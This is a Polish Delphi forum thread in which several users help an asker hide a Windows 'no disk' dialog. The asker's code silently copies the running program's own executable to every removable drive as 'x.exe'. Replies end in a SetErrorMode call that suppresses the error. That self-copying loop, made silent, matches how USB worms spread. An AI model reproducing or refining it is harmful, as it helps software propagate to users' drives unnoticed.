Witam jak wylaczyc wyswietlanie wyjatkow, stosuje try except ale to nic nie daje dalej wyswietla ten sam blad....
jak wylaczyc wysiwetlanie wyjatkow
- Rejestracja: dni
- Ostatnio: dni
- Postów: 232
To chyba masz źle te try except. Jedynie kompilator wywala wyjątki podczas try except i to jest normalne "ostrzezenie". Program działający samodzielnie nie ma prawa wywalac wyjątków w tym bloku
- Rejestracja: dni
- Ostatnio: dni
- Postów: 1398
W starszy Delphi byla z opcjach Debuggera opcja "Stop on Delphi exceptions" i nalezalo ja odznaczyc. A inny sposob ? Rob tak, zeby ten blad nie wystepowal :P
- Rejestracja: dni
- Ostatnio: dni
mam taki kod ktory sprawdza czy jest wlozony pendrive, jesli jest to kopiuje na pendrive-a plik
for i := Ord('A') to Ord('Z') do
begin
if GetDriveType(PChar(Chr(I)+':')) = DRIVE_REMOVABLE then
begin
try
copyfile(pchar(application.exename),pchar(chr(i)+':\x.exe'));
except begin end; end;end;
tyle tylko ze mam problem z tym bo mam pod usb wlozone cos co wyglada jak pednrive ale to sluzy do komunikacji z bezprzewodowa myszka i pendrivem nie jest, ale ten kod wykrywa to jako wymienny dysk no i <ort>proboje </ort>skopiowac plik, i chociaz zrobilem obsluge bledow to i tak wyswietla taki blad systemowy :
tytul : Project1.exe - brak dysku
W stacji nie ma dysku. Włóż dysk do stacji \Device\Harddisk1\DR1
i sa trzy przyciski anuluj ponow probe i kontynuj...
jak poprawic to zeby nie pokazywalo tego komunikatu ?
- Rejestracja: dni
- Ostatnio: dni
- Postów: 1036
Zastosuj dyrektywę
{$IOChecks Off}
przed wywołaniem pytania o pendriva.
ps. Nie pamiętam czy to rozwiązanie zadziała. Poprawną formę mam zapisaną w bazie kodów - podam później jeśli to nie zadziała.
- Rejestracja: dni
- Ostatnio: dni
bardzo potrzebuje tego aby mi sie nie wyświetlał ten komunikat, naprawdę nikt nie wie jak mozna sobie z tym poradzic ?
- Rejestracja: dni
- Ostatnio: dni
spróbuj sprawdzić jeszcze wcześniej czy urządzenie usb jest przeznaczone do odczytu/zapisu
tu masz chyba niezły przykład z kodem
http://forums.devshed.com/showpost.php?p=797173&postcount=5
wydaje mi się że mógłbyś sprawdzić pena takim kodem wyciągnietym z powyższego linka
if MediaCharacteristics and MEDIA_READ_WRITE = MEDIA_READ_WRITE then
(pełny opis w linku)
- Rejestracja: dni
- Ostatnio: dni
po 1 można wykorzystać OnException w Aplication..
po 2. try except na pewno działa.. to DELPHI pokazuje ci wyjątek w debugerze.. try except jest po to żeby go obsłużyć i nie zobaczył go użytkownik..
A jak chodzi ci o wyłączenie wyświetlania TOBIE wyjątków.. to gratuluje pomysłowości.. gdzieś ci coś wyleci i nawet wiedzieć nie będziesz..
- Rejestracja: dni
- Ostatnio: dni
- Postów: 5052
kris7777777 napisał(a)
try. except na pewno nie działa....
Słuchaj uchem, a nie brzuchem.
Jeśli Ci try..except nie działa, to znaczy, że wyjątki masz pokazywanie w ŚRODOWISKU. Aby to wyłączyć, musisz odznaczyć opcję notify on coś tam coś tam exceptions, o której ktoś wcześniej pisał.
- Rejestracja: dni
- Ostatnio: dni
- Lokalizacja: Szczecin
- Postów: 4191
Poszukaj lepiej. W Tools -> Debugger Options... -> Language Exceptions i
tam możesz sobie poustawiać. O ile o to chodziło, bo już się pogubiłem ;/
- Rejestracja: dni
- Ostatnio: dni
Ten "blad" jest wywolywany przez Windowsa wiec
przechywtywanie wyjatkow w Delphi nic nie da.
- Rejestracja: dni
- Ostatnio: dni
dobra dla przykladu, podam np taki kod , dysk h u mnie nie istnieje...
procedure TForm1.Button1Click(Sender: TObject);
begin
try
if directoryexists(pchar('h:\'))=true then begin
end;
except begin end; end;
end;
dysk H oczywiscie nie istnieje i dlatego jest błąd...
jest try, except, ale i tak zostanie wyswietlony windowsowy bląd? jak sobie z tym poradzic aby ten blad sie nie pokazywal
</delphi>
- Rejestracja: dni
- Ostatnio: dni
nie wiem czy widziałeś ale kilka postów wcześniej wskazałem na przykład który pozwoliłby wyeliminować ten błąd. do swojego wcześniejszego kodu na sprawdzanie czy urządzenie można odłączyć dodajesz kod na sprawdzenie czy działa w trybie odczyt/zapis (czyli wg mnie tylko dla dysków, flashy itp).
- Rejestracja: dni
- Ostatnio: dni
- Postów: 266
Najpierw co do Twojego kodu :
if directoryexists(pchar('h:\'))=true then begin
True jest tam niepotrzebne, to wartość domyślna, równie dobrze zadziała i lepiej wygląda
if directoryexists(pchar('h:\')) then begin
Sprawa wyjątków :
Wrzuć na formę komponent TApplicationEvents (zakładka Additional).
W zdarzeniu OnException wpisz kod mający wykonać się w przypadku wystąpienia błędu.
- Rejestracja: dni
- Ostatnio: dni
sprawdzales czy ten kod dziala ? bo ja sprawdzam u siebie i dalej wyskakuje ten sam blad.
- Rejestracja: dni
- Ostatnio: dni
- Postów: 266
To nie wywala błędu :
procedure TForm1.Button1Click(Sender: TObject);
var
i : Integer;
begin
for i := Ord('A') to Ord('Z') do
if GetDriveType(PChar(Chr(I)+':\')) = DRIVE_REMOVABLE then
CopyFile(pchar(Application.Exename),pchar(chr(i)+':\x.exe'), False);
end;
- Rejestracja: dni
- Ostatnio: dni
czytaj to co wczesniej napisalem, mam cos takiego co wyglada jak pendrive ale sluzy to do komunikacji z myszką i nie jest to zaden dysk wymienny, ale wykrywa go jako dysk wymienny, program nie moze zapisac danych na tym i wywala błąd środowiskowy, try expect nie wylapuje takiego bledu i daltego zawsze sie pokazuje.
- Rejestracja: dni
- Ostatnio: dni
- Lokalizacja: Gorlice
- Rejestracja: dni
- Ostatnio: dni
- Lokalizacja: Gorlice
Funkcja która potrafi cicho sprawdzić gotowość napędu A myślę, że zadziała też w Twoim przypadku.
function QDriveExists(drive: Char): Boolean; //parametr to litera napędu
var
prev: Longint;
begin
prev:= SetErrorMode(SEM_FAILCRITICALERRORS);
result:= DirectoryExists(drive + ':\');
SetErrorMode(prev);
end;
- Rejestracja: dni
- Ostatnio: dni
O_O
Jeśli uważacie że wyłączenie errorów jest rozwiązaniem problemu to mam nadzieje że nie przyjdzie mi z wami nigdy pracować ani korzystać z waszych programów..
PS.
Windows - GetLogicalDrives
- Rejestracja: dni
- Ostatnio: dni
- Lokalizacja: Gorlice
zajcev napisał(a)
O_O
Jeśli uważacie że wyłączenie errorów jest rozwiązaniem problemu to mam nadzieje że nie przyjdzie mi z wami nigdy pracować ani korzystać z waszych programów..
PS.
Windows - GetLogicalDrives
zajcev teraz to się popisałeś, czytałeś chociaż dokładnie w czym problem? Windows inne urządzenie uważa za dysk a więc w czym ma pomóc funkcja GetLogicalDrives tak samo będzie uważała to urządzenie za dysk i podczas próby zapisu wywali błąd!!! Mój ostatni post to tylko przykład użycia SetErrorMode zresztą jak bez użycia tego sobie poradzisz z głupim komunikatem systemowym? Obsługa wyjątków (try except) jak wcześniej pisał autor wątku nic nie daje.